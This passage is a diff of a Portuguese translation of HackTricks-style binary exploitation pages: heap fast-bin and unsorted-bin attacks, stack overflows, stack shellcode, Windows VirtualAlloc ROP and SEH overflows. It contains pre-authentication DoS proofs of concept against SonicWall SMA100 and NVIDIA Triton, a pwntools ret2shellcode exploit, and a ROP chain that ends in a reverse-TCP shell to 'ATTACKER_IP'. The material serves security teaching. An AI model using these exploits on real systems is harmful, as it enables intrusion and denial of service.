+- Então, é possível chamar a função edit com o índice 2 (o ponteiro do use after free) e sobrescrever o ponteiro `bk` para apontar para `p64(global_max_fast-0x10)`. Então, criar um novo chunk irá usar o endereço previamente comprometido free (0x20) e **disparará o unsorted bin attack** sobrescrevendo o `global_max_fast` para um valor muito grande, permitindo agora criar chunks nos fast bins.
+- Agora é realizado um **fast bin attack**:
+- Primeiro de tudo descobre‑se que é possível trabalhar com fast **chunks de size 200** na localização de **`__free_hook`**:
 - <pre class="language-c"><code class="lang-c">gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -115,20 +115,20 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 </code></pre>
-- Se conseguirmos obter um fast chunk de tamanho 0x200 nessa localização, será possível sobrescrever um function pointer que será executado.
-- Para isso, um novo chunk de tamanho `0xfc` é criado e a função merged é chamada com esse ponteiro duas vezes; dessa forma obtemos um ponteiro para um chunk freeado de tamanho `0xfc*2 = 0x1f8` no fast bin.
-- Então, a função edit é chamada nesse chunk para modificar o endereço **`fd`** desse fast bin para apontar para o anterior **`__free_hook`**.
-- Depois, um chunk com tamanho `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior; então outro chunk de tamanho `0x1f8` é criado para obter um fast bin chunk em **`__free_hook`**, que é sobrescrito com o endereço da função **`system`**.
-- E finalmente um chunk contendo a string `/bin/sh\x00` é freeado chamando a função delete, disparando a função **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro.
+- Se conseguirmos obter um fast chunk de size 0x200 nessa localização, será possível sobrescrever um function pointer que será executado
+- Para isso, um novo chunk de size `0xfc` é criado e a função merged é chamada com esse ponteiro duas vezes, assim obtemos um ponteiro para um chunk freed de size `0xfc*2 = 0x1f8` no fast bin.
+- Depois, a função edit é chamada nesse chunk para modificar o endereço **`fd`** desse fast bin para apontar para o anterior function **`__free_hook`**.
+- Em seguida, um chunk com size `0x1f8` é criado para recuperar do fast bin o chunk inútil anterior, então outro chunk de size `0x1f8` é criado para obter um fast bin chunk em **`__free_hook`** que é sobrescrito com o endereço da função **`system`**.
+- E finalmente um chunk contendo a string `/bin/sh\x00` é freed chamando a função delete, disparando o **`__free_hook`** que aponta para system com `/bin/sh\x00` como parâmetro.
 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
-- Outro exemplo de abusar de um overflow de 1B para consolidar chunks no unsorted bin e conseguir um libc infoleak e então realizar um fast bin attack para sobrescrever malloc hook com um one gadget address
+- Outro exemplo de abuso de um overflow de 1B para consolidar chunks no unsorted bin e obter um libc infoleak e então realizar um fast bin attack para sobrescrever malloc hook com um one gadget address
 - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
-- Só podemos alocar chunks de tamanho maior que `0x100`.
+- Só podemos alocar chunks de size maior que `0x100`.
 - Sobrescrever `global_max_fast` usando um Unsorted Bin attack (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits).
-- Fast Bin attack para modificar um array global de chunks. Isso dá uma primitive de leitura/escrita arbitrária, que permite modificar a GOT e apontar alguma função para `system`.
+- Fast Bin attack para modificar um array global de chunks. Isso dá uma primitive de arbitrary read/write, o que permite modificar a GOT e apontar alguma função para `system`.
 
 ## References
 
-- Checagens de integridade do unsorted-bin do Glibc malloc (exemplo no source 2.33): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
-- `global_max_fast` e definições relacionadas no glibc moderno (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c
+- Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
+- `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/stack-overflow/README.md

@@ -4,15 +4,15 @@
 
 ## O que é um Stack Overflow
 
-A **stack overflow** é uma vulnerabilidade que ocorre quando um programa grava mais dados no stack do que foi alocado para ele. Esse excesso de dados irá **sobrescrever espaços de memória adjacentes**, levando à corrupção de dados válidos, à alteração do fluxo de controle e, potencialmente, à execução de código malicioso. Esse problema frequentemente surge devido ao uso de funções inseguras que não realizam bounds checking na entrada.
+A **stack overflow** é uma vulnerabilidade que ocorre quando um programa escreve mais dados na stack do que foi alocado para ela. Esse excesso de dados irá **sobrescrever espaço de memória adjacente**, levando à corrupção de dados válidos, à interrupção do fluxo de controle e, potencialmente, à execução de código malicioso. Esse problema costuma surgir devido ao uso de funções inseguras que não fazem verificação de limites na entrada.
 
-O principal problema dessa sobrescrita é que o **saved instruction pointer (EIP/RIP)** e o **saved base pointer (EBP/RBP)** usados para retornar à função anterior são **armazenados no stack**. Portanto, um atacante poderá sobrescrevê-los e **controlar o fluxo de execução do programa**.
+O principal problema dessa sobrescrita é que o **saved instruction pointer (EIP/RIP)** e o **saved base pointer (EBP/RBP)** para retornar à função anterior são **armazenados na stack**. Portanto, um atacante poderá sobrescrevê-los e **controlar o fluxo de execução do programa**.
 
-A vulnerabilidade normalmente surge porque uma função **copia para dentro do stack mais bytes do que a quantidade alocada para ela**, podendo assim sobrescrever outras partes do stack.
+A vulnerabilidade geralmente surge porque uma função **copia dentro da stack mais bytes do que a quantidade alocada para ela**, possibilitando assim sobrescrever outras partes da stack.
 
-Algumas funções comuns vulneráveis a isso são: **`strcpy`, `strcat`, `sprintf`, `gets`**... Além disso, funções como **`fgets`**, **`read`** e **`memcpy`** que recebem um **argumento de comprimento**, podem ser usadas de forma vulnerável se o comprimento especificado for maior que o alocado.
+Algumas funções comuns vulneráveis a isso são: **`strcpy`, `strcat`, `sprintf`, `gets`**... Além disso, funções como **`fgets`**, **`read`** e **`memcpy`** que recebem um **length argument**, podem ser usadas de forma vulnerável se o tamanho especificado for maior do que o alocado.
 
-For example, the following functions could be vulnerable:
+Por exemplo, as seguintes funções poderiam ser vulneráveis:
 ```c
 void vulnerable() {
 char buffer[128];
@@ -23,11 +23,11 @@ printf("You entered: %s\n", buffer);
 ```
 ### Encontrando offsets de Stack Overflows
 
-A forma mais comum de encontrar stack overflows é fornecer uma entrada muito grande de `A`s (ex.: `python3 -c 'print("A"*1000)'`) e esperar um `Segmentation Fault` indicando que **foi tentado acessar o endereço `0x41414141`**.
+A forma mais comum de encontrar stack overflows é fornecer uma entrada muito grande de `A`s (ex.: `python3 -c 'print("A"*1000)'`) e esperar um `Segmentation Fault` indicando que **houve tentativa de acessar o endereço `0x41414141`**.
 
-Além disso, uma vez que você descobriu que existe uma vulnerabilidade de Stack Overflow, você precisará encontrar o offset até ser possível **sobrescrever o return address**; para isso geralmente se usa uma **De Bruijn sequence.** A qual, para um alfabeto de tamanho _k_ e subsequências de comprimento _n_, é uma **sequência cíclica em que cada subsequência possível de comprimento _n_ aparece exatamente uma vez** como subsequência contígua.
+Além disso, uma vez identificado que existe uma Stack Overflow vulnerability, você precisará encontrar o offset até que seja possível **overwrite the return address**, para isso normalmente se usa uma **De Bruijn sequence.** A mesma, para um dado alfabeto de tamanho _k_ e subsequências de comprimento _n_, é uma **sequência cíclica na qual cada possível subsequência de comprimento _n_ aparece exatamente uma vez** como subsequência contígua.
 
-Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como padding uma dessas sequências e então encontrar o offset dos bytes que acabaram sobrescrevendo-o.
+Dessa forma, em vez de precisar descobrir manualmente qual offset é necessário para controlar o EIP, é possível usar como padding uma dessas sequências e então encontrar o offset dos bytes que terminaram sobrescrevendo-a.
 
 É possível usar **pwntools** para isso:
 ```python
@@ -48,16 +48,16 @@ pattern create 200 #Generate length 200 pattern
 pattern search "avaaawaa" #Search for the offset of that substring
 pattern search $rsp #Search the offset given the content of $rsp
 ```
-## Exploiting Stack Overflows
+## Explorando Stack Overflows
 
-Durante um overflow (supondo que o tamanho do overflow seja grande o suficiente) você poderá **overwrite** valores de variáveis locais dentro da stack até alcançar o salvo **EBP/RBP and EIP/RIP (or even more)**.\
-A forma mais comum de abusar desse tipo de vulnerabilidade é **modificando o return address** de modo que, quando a função terminar, o **control flow será redirecionado para onde o usuário especificou** nesse ponteiro.
+Durante um overflow (supondo que o tamanho do overflow seja grande o suficiente) você poderá **sobrescrever** valores de variáveis locais dentro da stack até alcançar o salvo **EBP/RBP and EIP/RIP (or even more)**.\
+A maneira mais comum de explorar esse tipo de vulnerabilidade é **modificar o return address** para que, quando a função terminar, o **control flow seja redirecionado para onde o usuário especificou** nesse ponteiro.
 
-No entanto, em outros cenários talvez apenas **sobrescrever alguns valores de variáveis na stack** seja suficiente para a exploração (como em desafios CTF fáceis).
+No entanto, em outros cenários talvez apenas **sobrescrever alguns valores de variáveis na stack** seja suficiente para a exploração (como em desafios fáceis de CTF).
 
 ### Ret2win
 
-In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) would be disabled) so when the vulnerable function returns, the hidden function will be called:
+Nesse tipo de desafios CTF, existe uma **function** **inside** o binary que é **never called** e que **você precisa chamar para ganhar**. Para esses desafios você só precisa encontrar o **offset to overwrite the return address** e **encontrar o address da function** a ser chamada (normalmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) estará desabilitado) para que, quando a função vulnerável retornar, a função escondida seja chamada:
 
 
 {{#ref}}
@@ -66,7 +66,7 @@ ret2win/
 
 ### Stack Shellcode
 
-Nesse cenário o atacante pode colocar um shellcode na stack e abusar do EIP/RIP controlado para saltar para o shellcode e executar código arbitrário:
+Nesse cenário o atacante pode colocar um shellcode na stack e abusar do EIP/RIP controlado para pular para o shellcode e executar código arbitrário:
 
 
 {{#ref}}
@@ -75,7 +75,7 @@ stack-shellcode/
 
 ### Windows SEH-based exploitation (nSEH/SEH)
 
-On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.
+Em Windows 32-bit, um overflow pode sobrescrever a Structured Exception Handler (SEH) chain em vez do saved return address. A exploração tipicamente substitui o SEH pointer por um POP POP RET gadget e usa o campo de 4 bytes nSEH para um salto curto (short jump) para pivotar de volta para o grande buffer onde o shellcode vive. Um padrão comum é um short jmp em nSEH que aterrissa em um near jmp de 5 bytes colocado logo antes de nSEH para saltar centenas de bytes de volta ao início do payload.
 
 
 {{#ref}}
@@ -84,7 +84,7 @@ windows-seh-overflow.md
 
 ### ROP & Ret2... techniques
 
-Essa técnica é a estrutura fundamental para contornar a principal proteção da técnica anterior: **No executable stack (NX)**. E permite realizar várias outras técnicas (ret2lib, ret2syscall...) que irão acabar executando comandos arbitrários ao abusar de instruções existentes no binary:
+Essa técnica é a estrutura fundamental para contornar a principal proteção ao método anterior: **No executable stack (NX)**. E permite executar várias outras técnicas (ret2lib, ret2syscall...) que acabarão executando comandos arbitrários ao abusar de instruções já existentes no binary:
 
 
 {{#ref}}
@@ -93,16 +93,16 @@ Essa técnica é a estrutura fundamental para contornar a principal proteção d
 
 ## Heap Overflows
 
-Um overflow nem sempre vai acontecer na stack, ele também pode ocorrer no **heap**, por exemplo:
+Um overflow nem sempre estará na stack, também pode estar no **heap**, por exemplo:
 
 
 {{#ref}}
 ../libc-heap/heap-overflow.md
 {{#endref}}
 
-## Types of protections
+## Tipos de proteções
 
-Existem várias proteções tentando evitar a exploração de vulnerabilidades, confira-as em:
+Existem várias proteções tentando prevenir a exploração de vulnerabilidades, confira em:
 
 
 {{#ref}}
@@ -112,7 +112,7 @@ Existem várias proteções tentando evitar a exploração de vulnerabilidades,
 ### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
 
 Uma boa demonstração de por que **`sscanf` should never be trusted for parsing untrusted input** apareceu em 2025 no appliance SonicWall SMA100 SSL-VPN.
-A rotina vulnerável dentro de `/usr/src/EasyAccess/bin/httpd` tenta extrair a versão e o endpoint de qualquer URI que comece com `/__api__/`:
+A rotina vulnerável dentro de `/usr/src/EasyAccess/bin/httpd` tenta extrair a versão e o endpoint de qualquer URI que começa com `/__api__/`:
 ```c
 char version[3];
 char endpoint[0x800] = {0};
@@ -120,25 +120,25 @@ char endpoint[0x800] = {0};
 sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
 ```
 1. A primeira conversão (`%2s`) armazena com segurança **dois** bytes em `version` (por exemplo `"v1"`).
-2. A segunda conversão (`%s`) **não possui especificador de comprimento**, portanto `sscanf` continuará copiando **até o primeiro byte NUL**.
-3. Como `endpoint` está localizado na **stack** e tem **0x800 bytes de tamanho**, fornecer um caminho maior que 0x800 bytes corrompe tudo que fica após o buffer ‑ incluindo o **stack canary** e o **saved return address**.
+2. A segunda conversão (`%s`) **não tem especificador de comprimento**, portanto `sscanf` continuará copiando **até o primeiro byte NUL**.
+3. Porque `endpoint` está localizado na **stack** e tem **0x800 bytes de comprimento**, fornecer um caminho com mais de 0x800 bytes corrompe tudo que vem depois do buffer ‑ incluindo o **stack canary** e o **saved return address**.
 
-Um proof-of-concept de uma linha é suficiente para provocar o crash **antes da autenticação**:
+Uma prova de conceito em uma única linha é suficiente para acionar o crash **before authentication**:
 ```python
 import requests, warnings
 warnings.filterwarnings('ignore')
 url = "https://TARGET/__api__/v1/" + "A"*3000
 requests.get(url, verify=False)
 ```
-Mesmo que stack canaries abortem o processo, um atacante ainda obtém uma primitiva de **Denial-of-Service** (e, com leaks adicionais de informação, possivelmente code-execution). A lição é simples:
+Mesmo que os stack canaries abortem o processo, um atacante ainda obtém uma primitiva de **Denial-of-Service** (e, com leaks de informação adicionais, possivelmente code-execution). A lição é simples:
 
-* Sempre especifique uma **largura máxima de campo** (p.ex. `%511s`).
-* Prefira alternativas mais seguras como `snprintf`/`strncpy_s`.
+* Sempre forneça uma **largura máxima de campo** (por exemplo `%511s`).
+* Prefira alternativas mais seguras, como `snprintf`/`strncpy_s`.
 
 ### Exemplo do mundo real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
 
-O Triton Inference Server da NVIDIA (≤ v25.06) continha múltiplos **stack-based overflows** acessíveis através de sua HTTP API.
-O padrão vulnerável apareceu repetidamente em `http_server.cc` e `sagemaker_server.cc`:
+O Triton Inference Server da NVIDIA (≤ v25.06) continha múltiplos **stack-based overflows** acessíveis através da sua HTTP API.
+O padrão vulnerável aparecia repetidamente em `http_server.cc` e `sagemaker_server.cc`:
 ```c
 int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
 if (n > 0) {
@@ -148,9 +148,9 @@ alloca(sizeof(struct evbuffer_iovec) * n);
 ...
 }
 ```
-1. `evbuffer_peek` (libevent) retorna o **número de segmentos internos de buffer** que compõem o corpo da requisição HTTP atual.
-2. Cada segmento faz com que um `evbuffer_iovec` de **16-byte** seja alocado na **stack** via `alloca()` – **sem qualquer limite superior**.
-3. Ao abusar de **HTTP _chunked transfer-encoding_**, um cliente pode forçar a requisição a ser dividida em **centenas de milhares de chunks de 6-byte** (`"1\r\nA\r\n"`). Isso faz com que `n` cresça sem limite até que a stack seja esgotada.
+1. `evbuffer_peek` (libevent) retorna o **número de segmentos de buffer internos** que compõem o corpo da requisição HTTP atual.
+2. Cada segmento provoca a alocação de um `evbuffer_iovec` de **16-byte** na **stack** via `alloca()` – **sem qualquer limite superior**.
+3. Ao abusar de **HTTP _chunked transfer-encoding_**, um cliente pode forçar a requisição a ser dividida em **centenas de milhares de 6-byte chunks** (`"1\r\nA\r\n"`). Isso faz `n` crescer sem limites até que a stack seja esgotada.
 
 #### Prova de Conceito (DoS)
 ```python
@@ -176,10 +176,10 @@ s.close()
 if __name__ == "__main__":
 exploit(*sys.argv[1:])
 ```
-Uma requisição de ~3 MB é suficiente para sobrescrever o endereço de retorno salvo e **crash** o daemon em uma build padrão.
+Uma solicitação de ~3 MB é suficiente para sobrescrever o saved return address e **crash** o daemon em uma build padrão.
 
-#### Correção e Mitigação
-A versão 25.07 substitui a alocação insegura na pilha por um **heap-backed `std::vector`** e trata graciosamente `std::bad_alloc`:
+#### Correção & Mitigação
+A versão 25.07 substitui a alocação insegura na pilha por um **heap-backed `std::vector`** e passa a tratar `std::bad_alloc` de forma graciosa:
 ```c++
 std::vector<evbuffer_iovec> v_vec;
 try {
@@ -191,7 +191,7 @@ struct evbuffer_iovec *v = v_vec.data();
 ```
 Lições aprendidas:
 * Nunca chame `alloca()` com tamanhos controlados pelo atacante.
-* Requisições chunked podem alterar drasticamente a forma dos buffers do lado do servidor.
+* Chunked requests podem alterar drasticamente a forma dos buffers do lado do servidor.
 * Valide / limite qualquer valor derivado da entrada do cliente *antes* de usá-lo em alocações de memória.
 
 ## Referências

src/binary-exploitation/stack-overflow/stack-shellcode/README.md

@@ -4,7 +4,7 @@
 
 ## Informações Básicas
 
-**Stack shellcode** é uma técnica usada em **binary exploitation** em que um atacante grava shellcode na stack de um programa vulnerável e então modifica o **Instruction Pointer (IP)** ou o **Extended Instruction Pointer (EIP)** para apontar para a localização desse shellcode, causando sua execução. Este é um método clássico usado para obter acesso não autorizado ou executar comandos arbitrários em um sistema alvo. Abaixo está uma descrição do processo, incluindo um exemplo simples em C e como você poderia escrever um exploit correspondente usando Python com **pwntools**.
+**Stack shellcode** é uma técnica usada em **binary exploitation** onde um atacante escreve shellcode na stack de um programa vulnerável e então modifica o **Instruction Pointer (IP)** ou **Extended Instruction Pointer (EIP)** para apontar para a localização desse shellcode, fazendo com que ele seja executado. Este é um método clássico usado para obter acesso não autorizado ou executar comandos arbitrários em um sistema alvo. Aqui está um resumo do processo, incluindo um exemplo simples em C e como você poderia escrever um exploit correspondente usando Python com **pwntools**.
 
 ### Exemplo em C: Um Programa Vulnerável
 
@@ -32,14 +32,14 @@ Para compilar este programa enquanto desabilita várias proteções (para simula
 ```sh
 gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 ```
-- `-fno-stack-protector`: Desativa a proteção da pilha.
-- `-z execstack`: Torna a pilha executável, o que é necessário para executar shellcode armazenado na pilha.
-- `-no-pie`: Desativa Position Independent Executable (PIE), facilitando prever o endereço de memória onde nosso shellcode ficará localizado.
-- `-m32`: Compila o programa como um executável de 32 bits, frequentemente usado pela simplicidade no desenvolvimento de exploits.
+- `-fno-stack-protector`: Desabilita a proteção da stack.
+- `-z execstack`: Torna a stack executável, o que é necessário para executar shellcode armazenado na stack.
+- `-no-pie`: Desabilita Position Independent Executable (PIE), facilitando prever o endereço de memória onde nosso shellcode será localizado.
+- `-m32`: Compila o programa como um executável 32-bit, frequentemente usado por simplicidade no desenvolvimento de exploit.
 
-### Exploit em Python usando Pwntools
+### Python Exploit using Pwntools
 
-A seguir, um exemplo de como você poderia escrever um exploit em Python usando **pwntools** para realizar um ataque **ret2shellcode**:
+Aqui está como você poderia escrever um exploit em Python usando **pwntools** para realizar um ataque **ret2shellcode**:
 ```python
 from pwn import *
 
@@ -66,28 +66,28 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
 p.sendline(payload)
 p.interactive()
 ```
-Este script constrói um payload composto por um **NOP slide**, o **shellcode**, e então sobrescreve o **EIP** com o endereço apontando para o NOP slide, garantindo que o shellcode seja executado.
+Este script constrói um payload consistindo de um **NOP slide**, o **shellcode**, e então sobrescreve o **EIP** com o endereço apontando para o NOP slide, garantindo que o shellcode seja executado.
 
-O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execução "deslize" para o nosso shellcode independentemente do endereço exato. Ajuste o argumento de `p32()` para o endereço inicial do seu buffer mais um offset para cair no NOP slide.
+O **NOP slide** (`asm('nop')`) é usado para aumentar a chance de que a execução "escorregue" para o nosso shellcode independentemente do endereço exato. Ajuste o argumento de `p32()` para o endereço inicial do seu buffer mais um offset para cair no NOP slide.
 
 ## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
 
-No Windows moderno a stack não é executável (DEP/NX). Uma forma comum de ainda executar shellcode residente na stack após um BOF de stack é construir uma cadeia ROP de 64-bit que chama VirtualAlloc (ou VirtualProtect) a partir da Import Address Table (IAT) do módulo para tornar uma região da stack executável e então retornar para o shellcode anexado depois da cadeia.
+Em máquinas Windows modernas a stack é não-executável (DEP/NX). Uma forma comum de ainda executar shellcode residente na stack após um BOF na stack é construir uma cadeia ROP 64-bit que chame VirtualAlloc (ou VirtualProtect) a partir da Import Address Table (IAT) do módulo para tornar uma região da stack executável e então retornar para o shellcode anexado após a cadeia.
 
-Key points (Win64 calling convention):
+Pontos-chave (Win64 calling convention):
 - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
-- RCX = lpAddress → escolha um endereço na stack atual (por exemplo, RSP) para que a região RWX recém-alocada se sobreponha ao seu payload
-- RDX = dwSize → grande o suficiente para sua chain + shellcode (por exemplo, 0x1000)
+- RCX = lpAddress → escolha um endereço na stack atual (p.ex., RSP) de modo que a região RWX recém-alocada sobreponha seu payload
+- RDX = dwSize → grande o suficiente para sua cadeia + shellcode (p.ex., 0x1000)
 - R8  = flAllocationType = MEM_COMMIT (0x1000)
 - R9  = flProtect = PAGE_EXECUTE_READWRITE (0x40)
-- Return directly into the shellcode placed right after the chain.
+- Retorne diretamente para o shellcode colocado logo após a cadeia.
 
-Minimal strategy:
-1) Leak a base de um módulo (por exemplo, via format-string, object pointer, etc.) para calcular endereços absolutos de gadgets e da IAT sob ASLR.
-2) Encontre gadgets para carregar RCX/RDX/R8/R9 (pop ou sequências baseadas em mov/xor) e um call/jmp [VirtualAlloc@IAT]. Se não houver pop r8/r9 direto, use gadgets aritméticos para sintetizar constantes (por exemplo, defina r8=0 e some r9=0x40 repetidamente quarenta vezes para alcançar 0x1000).
-3) Coloque o stage-2 shellcode imediatamente após a chain.
+Estratégia mínima:
+1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
+2) Encontre gadgets para carregar RCX/RDX/R8/R9 (pop or mov/xor-based sequences) e um call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
+3) Coloque o stage-2 shellcode imediatamente após a cadeia.
 
-Example layout (conceptual):
+Exemplo de layout (conceitual):
 ```
 # ... padding up to saved RIP ...
 # R9 = 0x40 (PAGE_EXECUTE_READWRITE)
@@ -104,12 +104,12 @@ POP_RDX_RET; 0x1000
 JMP_SHELLCODE_OR_RET
 # ---- stage-2 shellcode (x64) ----
 ```
-Com um conjunto de gadgets restrito, você pode criar valores de registradores indiretamente, por exemplo:
-- mov r9, rbx; mov r8, 0; add rsp, 8; ret → define r9 a partir de rbx, zera r8 e compensa a pilha com um qword de lixo.
-- xor rbx, rsp; ret → inicializa rbx com o ponteiro de pilha atual.
-- push rbx; pop rax; mov rcx, rax; ret → move o valor derivado de RSP para RCX.
+Com um conjunto de gadgets limitado, você pode construir valores de registradores indiretamente, por exemplo:
+- mov r9, rbx; mov r8, 0; add rsp, 8; ret → definir r9 a partir de rbx, zerar r8, e compensar a pilha com um qword de lixo.
+- xor rbx, rsp; ret → inicializar rbx com o ponteiro de pilha atual.
+- push rbx; pop rax; mov rcx, rax; ret → mover valor derivado de RSP para RCX.
 
-Esboço Pwntools (dada uma base conhecida e gadgets):
+Esboço em Pwntools (dada uma base conhecida e gadgets):
 ```python
 from pwn import *
 base = 0x7ff6693b0000
@@ -132,27 +132,27 @@ rop += p64(base+POP_RDX_RET) + p64(0x1000)
 rop += p64(IAT_VirtualAlloc)
 rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
 ```
-Dicas:
+Tips:
 - VirtualProtect funciona de forma semelhante se for preferível tornar um buffer existente RX; a ordem dos parâmetros é diferente.
-- Se o espaço na stack estiver curto, aloque RWX em outro lugar (RCX=NULL) e jmp para essa nova região em vez de reutilizar a stack.
-- Sempre contabilize gadgets que ajustam RSP (e.g., add rsp, 8; ret) inserindo qwords inúteis.
+- Se o espaço da stack for limitado, aloque RWX em outro lugar (RCX=NULL) e jmp para essa nova região em vez de reutilizar a stack.
+- Sempre considere gadgets que ajustam RSP (e.g., add rsp, 8; ret) inserindo qwords de lixo.
 
 
-- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **deve ser desativado** para que o endereço seja confiável entre execuções; caso contrário o endereço onde a função será armazenada não será sempre o mesmo e você precisará de algum leak para descobrir onde a função win foi carregada.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) também devem ser desativados, caso contrário o endereço de retorno EIP comprometido nunca será seguido.
-- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) a proteção **stack** impediria a execução do shellcode dentro da stack porque essa região não será executável.
+- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** para que o endereço seja confiável entre execuções — caso contrário o endereço onde a função será armazenada não será sempre o mesmo e você precisaria de algum leak para descobrir onde a função win foi carregada.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) devem também ser desativados ou o endereço de retorno EIP comprometido nunca será seguido.
+- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection impediria a execução do shellcode dentro da stack porque essa região não será executável.
 
 ## Outros Exemplos & Referências
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
 - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
-- 64bit, ASLR com leak de endereço da stack, escrever shellcode e pular para ele
+- 64bit, ASLR com stack address leak, escrever shellcode e saltar para ele
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
-- 32 bit, ASLR com leak da stack, escrever shellcode e pular para ele
+- 32 bit, ASLR com stack leak, escrever shellcode e saltar para ele
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
-- 32 bit, ASLR com leak da stack, comparação para impedir a chamada a exit(), sobrescrever variável com um valor e escrever shellcode e pular para ele
+- 32 bit, ASLR com stack leak, comparação para prevenir chamada a exit(), sobrescrever variável com um valor e escrever shellcode e saltar para ele
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
-- arm64, sem ASLR, ROP gadget para tornar a stack executável e pular para o shellcode na stack
+- arm64, sem ASLR, ROP gadget para tornar a stack executável e saltar para o shellcode na stack
 
 
 ## Referências

src/binary-exploitation/stack-overflow/windows-seh-overflow.md

@@ -2,24 +2,24 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-SEH-based exploitation é uma técnica clássica do Windows x86 que abusa do encadeamento do Structured Exception Handler armazenado na stack. Quando um buffer overflow na stack sobrescreve os dois campos de 4 bytes
+SEH-based exploitation é uma técnica clássica do Windows x86 que abusa da cadeia Structured Exception Handler armazenada na stack. Quando um stack buffer overflow sobrescreve os dois campos de 4 bytes
 
-- nSEH: pointer to the next SEH record, and
-- SEH: pointer to the exception handler function
+- nSEH: ponteiro para o próximo registro SEH, e
+- SEH: ponteiro para a função de tratamento de exceção
 
-um atacante pode assumir o controle da execução ao:
+um atacante pode tomar controle da execução através de:
 
-1) Apontar SEH para o endereço de um gadget POP POP RET em um módulo sem proteção, de forma que quando uma exceção for despachada o gadget retorne para bytes controlados pelo atacante, e
-2) Usar nSEH para redirecionar a execução (tipicamente um short jump) de volta para o grande buffer que transbordou onde o shellcode reside.
+1) Configurar SEH para o endereço de um POP POP RET gadget em um módulo sem proteção, de modo que quando uma exceção for despachada o gadget retorne para bytes controlados pelo atacante, e
+2) Usar nSEH para redirecionar a execução (tipicamente um short jump) de volta para o grande buffer overflow onde o shellcode reside.
 
-Esta técnica é específica para processos 32-bit (x86). Em sistemas modernos, prefira um módulo sem SafeSEH e ASLR para o gadget. Bad characters frequentemente incluem 0x00, 0x0a, 0x0d (NUL/CR/LF) devido a C-strings e parsing HTTP.
+Esta técnica é específica para processos 32-bit (x86). Em sistemas modernos, prefira um módulo sem SafeSEH e ASLR para o gadget. Caracteres problemáticos frequentemente incluem 0x00, 0x0a, 0x0d (NUL/CR/LF) devido a C-strings e parsing HTTP.
 
 ---
 
-## Finding exact offsets (nSEH / SEH)
+## Encontrando offsets exatos (nSEH / SEH)
 
-- Cause o crash do processo e verifique se o SEH chain foi sobrescrito (por exemplo, em x32dbg/x64dbg, verifique o SEH view).
-- Envie um padrão cíclico como dados que transbordam e calcule os offsets dos dois dwords que caem em nSEH e SEH.
